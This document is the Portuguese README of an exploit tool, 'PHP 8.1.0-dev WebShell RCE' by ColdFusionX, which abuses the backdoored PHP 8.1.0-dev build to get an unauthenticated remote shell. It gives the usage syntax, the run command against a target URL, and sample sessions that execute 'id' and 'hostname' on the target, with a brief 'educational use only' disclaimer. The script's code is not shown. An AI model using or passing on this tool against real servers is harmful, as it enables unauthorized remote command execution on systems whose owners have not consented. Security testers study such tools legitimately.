PHP 8.1.0-dev WebShell RCE (Não autenticado)

Código de Exploit para PHP 8.1.0-dev WebShell RCE (Não autenticado)

Resultado esperado: explorar o backdoor instalado no servidor PHP 8.1.0-dev, obtendo assim um WebShell para executar comandos remotamente.

Destinado apenas para fins educacionais e de teste em ambientes corporativos.

Este Exploit foi testado no Python 3.8.6

Uso:

cfx:  ~/Documents/
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL]

PHP 8.1.0-dev WebShell RCE by ColdFusionX

optional arguments:
  -h, --help         show this help message and exit
  -l URL, --url URL  PHP 8.1.0-dev Target URL(Example: http://127.0.0.1)

Exploit Usage : 
./exploit.py -l http://127.0.0.1
[^] WebShell=- id
OR
[^] WebShell=- whoami

Entradas do usuário :

Este exploit espera um único argumento para executar inicialmente :

-l : URL alvo do PHP 8.1.0-dev

POC

Cenário 1 : Alvo vulnerável válido

cfx:  ~/Documents/
→ ./exploit.py -l http://127.0.0.1

[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX 
 
Target is running on PHP 8.1.0-dev

*Shoot your commands below* 

[^] WebShell=- id

uid=1000(cfx) gid=1000(cfx) groups=1000(cfx)

[^] WebShell=- hostname

shockwave

[^] WebShell=- ^C
Exiting.

Cenário 2 : Alvo inválido

cfx:  ~/Documents/
→ ./exploit.py -l http://127.0.0.1

[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX 
 
Invalid URL or Target Not Vulnerable

Referência